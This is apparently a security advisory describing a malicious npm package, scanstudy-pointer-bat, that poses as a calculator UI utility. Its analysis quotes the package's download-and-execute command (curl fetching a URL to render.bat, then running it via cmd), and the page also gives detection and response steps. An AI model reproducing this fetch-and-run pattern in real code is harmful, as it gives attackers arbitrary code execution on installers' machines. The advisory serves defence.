scanstudy-pointer-batnpm
Advisory published Updated
scanstudy-pointer-bat is a confirmed malicious npm package (MAL-2026-20288) that executes malicious code on install (malicious version 1.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in scanstudy-pointer-bat (npm)
What this malware does
The package advertises itself as a calculator UI utility but main.js schedules a child_process.exec via setTimeout on require/start that runs curl -fsSL ${rendererUrl} -o render.bat && cmd /c start /b render.bat, downloading a file from a configured URL and executing it as render.bat under cmd. The RENDERER_URL key is absent from the shipped config.json, so the current artifact resolves to an empty URL, but the full download-and-execute machinery is present and reachable on load, giving whoever controls that config key arbitrary code execution on the installer's Windows host. main.js also contains an unused Mandelbrot-style CPU-busy routine (performRoutine) and wraps the exec in a random 0–5 second delay — decoy and timing patterns around the shell-out that are inconsistent with the stated library purpose.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for scanstudy-pointer-bat (version 1.0.0).
If you installed it — respond
Remove scanstudy-pointer-bat from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If scanstudy-pointer-bat was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks scanstudy-pointer-bat-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.